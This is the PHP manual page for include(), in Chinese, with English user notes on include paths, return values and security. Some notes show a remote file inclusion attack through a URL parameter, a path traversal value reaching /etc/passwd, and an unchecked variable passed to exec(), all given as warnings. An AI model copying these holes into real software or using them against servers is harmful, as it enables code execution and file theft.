include()

include() 语句包含并运行指定文件。

以下文档也适用于 require()。这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()include() 就不是这样,脚本会继续运行。同时也要确认设置了合适的 include_path。注意在 PHP 4.3.5 之前,包含文件中的语法错误不会导致程序停止,但从此版本之后会。

寻找包含文件的顺序先是在当前工作目录的相对的 include_path 下寻找,然后是当前运行脚本所在目录相对的 include_path 下寻找。例如 include_path 是 .,当前工作目录是 /www/,脚本中要 include 一个 include/a.php 并且在该文件中有一句 include "b.php",则寻找 b.php 的顺序先是 /www/,然后是 /www/include/。如果文件名以 ../ 开始,则只在当前工作目录相对的 include_path 下寻找。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

例子 16-5. 基本的 include() 例子

vars.php
<?php

$color
= 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo
"A $color $fruit"; // A green apple

?>

如果 include 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。

例子 16-6. 函数中的包含

<?php

function foo()
{
    global
$color;

    include
'vars.php';

    echo
"A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
* $fruit is NOT available outside of this  *
* scope.  $color is because we declared it *
* as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中应被当作 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

如果“URL fopen wrappers”在 PHP 中被激活(默认配置),可以用 URL(通过 HTTP 或者其它支持的封装协议――所支持的协议见附录 L)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问,即使 allow_url_fopen 选项已被激活。

例子 16-7. 通过 HTTP 进行的 include()

<?php

/* This example assumes that www.example.com is configured to parse .php *
* files and not .txt files. Also, 'Works' here means that the variables *
* $foo and $bar are available within the included file.                 */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include
'file.txt';  // Works.
include 'file.php';  // Works.

?>

安全警告

远程文件可能会经远程服务器处理(根据文件后缀以及远程服务器是否在运行 PHP 而定),但必须产生出一个合法的 PHP 脚本,因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果,那用 readfile() 函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

相关信息参见使用远程文件fopen()file()

因为 include()require() 是特殊的语言结构,在条件语句中使用必须将其放在语句组中(花括号中)。

例子 16-8. include() 与条件语句组

<?php

// This is WRONG and will not work as desired.
if ($condition)
    include
$file;
else
    include
$other;


// This is CORRECT.
if ($condition) {
    include
$file;
} else {
    include
$other;
}

?>

处理返回值:可以在被包括的文件中使用 return() 语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行,除非远程文件的输出具有合法的 PHP 开始和结束标记(如同任何本地文件一样)。可以在标记内定义所需的变量,该变量在文件被包含的位置之后就可用了。

因为 include() 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。

例子 16-9. 比较 include 的返回值

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo
'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo
'OK';
}
?>

注: 在 PHP 3 中,除非是在函数中调用否则被包含的文件中不能出现 return。在此情况下 return() 作用于该函数而不是整个文件。

例子 16-10. include()return() 语句

return.php
<?php

$var
= 'PHP';

return
$var;

?>

noreturn.php
<?php

$var
= 'PHP';

?>

testreturns.php
<?php

$foo
= include 'return.php';

echo
$foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo
$bar; // prints 1

?>

$bar 的值为 1 是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了 return() 而另一个没有。如果文件不能被包含,则返回 FALSE 并发出一个 E_WARNING 警告。

如果在包含文件中定义有函数,这些函数可以独立于是否在 return() 之前还是之后在主文件中使用。如果文件被包含两次,PHP 5 发出致命错误因为函数已经被定义,但是 PHP 在 return() 之后不会抱怨函数已定义。推荐使用 include_once() 而不是检查文件是否已包含并在包含文件中有条件返回。

另一个将 PHP 文件“包含”到一个变量中的方法是用输出控制函数结合 include() 来捕获其输出,例如:

例子 16-11. 使用输出缓冲来将 PHP 文件包含入一个字符串

<?php
$string
= get_include_contents('somefile.php');

function
get_include_contents($filename) {
    if (
is_file($filename)) {
        
ob_start();
        include
$filename;
        
$contents = ob_get_contents();
        
ob_end_clean();
        return
$contents;
    }
    return
false;
}

?>

要在脚本中自动包含文件,参见 php.ini 中的 auto_prepend_fileauto_append_file 配置选项。

注: 由于这是一个语言结构而非函数,因此它无法被变量函数调用。

参见 require()require_once()include_once()readfile()virtual()include_path


add a note add a note User Contributed Notes
nospam at nospam dot com
14-Aug-2006 08:28
Trick to get around including get method...

Since this doesn't work:
include('page.php?id=1');

Try this:
$_REQUEST['id'] = 1;
include('page.php');
mlindal at pfc dot forestry dot ca
08-Aug-2006 11:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

if($_SERVER[PHP_SELF]=="/newpubs.php")
   {
   header("Location: newpubs_e.php");
   exit;
   }

Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com
27-May-2006 07:50
Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
  
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

   foreach (
$include_paths as $path) {
      
$include = $path.DIRECTORY_SEPARATOR.$filename;
       if (
is_file($include) && is_readable($include)) {
           if (
$returnpaths == true) {
              
$includable_paths[] = $path;
           } else {
               return
true;
           }
       }
   }

   return (isset(
$includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>
NOdasnipaSPAM
20-May-2006 05:40
at spam guard dot gmail com

to php dot net at reinsveien dot com:

if you know the domain the file should be coming from then you can parse the variable for the domain and make sure that it matches the domain you expect, example:

<?php
$path
="/full/path/to/script/";
if (
getdomain($path) == 'yourdomain'){
     include(
$path.'somefile.php');
}
?>

this should prevent remote execution of any malicious script
lholst+phpnet at students dot cs dot uu dot nl
09-May-2006 03:15
What cavarlier refers to is that on some editors, UTF-8 files are prefixed with a BOM (Byte Order Mark), an invisible marker three bytes in size, which are output by PHP if it encouters them (which is before the <?php on the first line). Notepad is particularly notorious creating these.

However, any decent editor (e.g. Notepad2) can save UTF-8 files without BOM, and if you do that the first <?php tag will truly be on the first character of the file.

So this does not mean that UTF-8 cannot be used by PHP.
cavarlier [at] hotmail [dot] com
23-Apr-2006 03:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
arnold at bean-it dot nl
25-Feb-2006 06:15
Currently there is no clean way to check if a file can be included. Simply including a file which can't be opened causes a warning to be triggered. Suppressing include() with an @ (as often seen below) is not advisable, since parse errors won't be displayed, but will cause the script to die, causing a blank screen. (Happy debugging, hope you're using ZendStudio or some other debugger).

The best solution I've come up with is:
<?php
  
if (($fp = @fopen($filename, 'r', 1)) and fclose($fp)) include $filename;
?>

I believe the functions file_exists(), filesize(), is_readable() and is_writable() should have an use_include_path just like fopen().
If you agree with this, please PLEASE VOTE on bug #6932 (http://bugs.php.net/bug.php?id=6932). This bug has been open for over 5 years. Apparently no one is willing to add this feature.
Stephen Lee
19-Jan-2006 08:36
@ajsharp at gmail dot com

To find out which script has included another, use the Server Variable 'SCRIPT_NAME' (note: there are other server variables that also contain the script name, but I use this one simply because it works for me) e.g.

"variables.php"
<?php
$includer
= basename($_SERVER['SCRIPT_NAME']);

switch (
$includer) {
   case
'a.php':
  
$this_variable = 'included by script a.php';
   break;

   case
'b.php':
  
$this_variable = 'included by script b.php';
   break;
  
   default:
  
$this_variable = 'included by unkown script';
}
echo
$this_variable;
?>

Test with 3 different files "a.php", "b.php", "c.php", all with the same content:
<?php
include 'variables.php';
?>
stalker at ruun dot de
10-Jan-2006 08:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
   if(!
is_dir($dirName))
       return
false;
  
$dirHandle = opendir($dirName);
   while(
false !== ($incFile = readdir($dirHandle))) {
       if(
$incFile != "."
          
&& $incFile != "..") {
           if(
is_file("$dirName/$incFile"))
               include_once(
"$dirName/$incFile");
           elseif(
is_dir("$dirName/$incFile"))
              
includeRecurse("$dirName/$incFile");
       }
   }
  
closedir($dirHandle);
}
?>
php at bucksvsbytes dot com
04-Oct-2005 03:31
The documentation should make it clearer that the include argument is not a site path (i.e. not relative to the document root or to any web server defined aliases), but rather a path on the host relative to the calling script's directory.
wamsleye at yahoo dot com
25-Aug-2005 05:21
I had been looking around on how to make sure that a file is included, I guess the way to do it changed with new version, here we go:

<?php
if ((include "header.php") == true) {
   echo (
"header loaded");
}
//end if
else{
   echo(
"header not loaded");
}
//end else
?>

hope that helps!
Jesper Juhl
14-Aug-2005 11:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined
('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define
('_VALID_INCLUDE', TRUE);
include(
'includefile.php');

/* rest of file */

?>
ignacio esviza
20-Jul-2005 05:10
Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){
  
  
$buffer = ob_get_contents();
   include
$file;
  
$output = substr(ob_get_contents(),strlen($buffer));
  
ob_end_clean();
  
  
ob_start();
   echo
$buffer;
  
   return
$output;
  
}
?>
Ethilien
19-Jul-2005 03:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 09:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.
17-May-2005 11:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

if(file_exists("includes/a.php"))
   include("includes/a.php")

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
php at REMOVEMEkennel17 dot co dot uk
03-May-2005 08:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.

It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 08:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

include "http://MyServer.com/MyInclude.php";

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 05:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(
substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return
true;
   }else{
   return
false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen
dragon at wastelands dot net
10-Dec-2004 08:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<? include("/different/root/script.php"); ?>

And this file contains:
<? echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com
11-Aug-2004 08:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com
03-Jun-2004 07:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
marco_ at voxpopuli-forum dot net
13-Apr-2004 12:27
In addition to the redeye at cs-aktuell dot de note:

to make pseudo-frame in total security

example: http://www.yourdomain.com/index.php?page=news

<?php

/* verify the validity of GET var page
if not set, do a default case        */
if(isset($HTTP_GET_VARS['page']))
{
 
$p = $HTTP_GET_VARS['page'];
}
else
{
 
$p = 'index';
}

switch(
$p)
{
 case
'index':
 require(
'welcome.php');
 break;

 case
'news':
 require(
'news.php');
 break;

 case
'what you want':
 require(
'the file you want');
 break;

 default:
 exit(
'Wrong parameter for file inclusion');
}

?>

marco_
moosh at php dot net
15-Jan-2004 11:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"
james at gogo dot co dot nz
10-Dec-2003 02:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
   return include(
dirname(__FILE__) . '/2.php');
  }

 
$z = "FOO\n";
 
$z2 = &x($z);

  echo
$z2;
 
$z  = "NOO\n";
 
  echo
$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 05:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David
php at mijav dot dk
19-Nov-2003 10:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
   // ignore the notice and evaluate the return value of the script, if any.
   if(@include(dirname(__FILE__)."/foo.php"))
     echo "foo.php included";
   else
     echo "failed to include foo.php";
redeye at cs-aktuell dot de
08-Feb-2003 09:29
As to the security risks of an include statement like:

<?php
 
include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
 
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
   include(
$page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path
= 'pages/';
 
$extension = '.php';
 
  if (
preg_match("#^[a-z0-9_]+$#i",$page) ){
  
$filename = $path.$page.$extension;
   include(
$filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.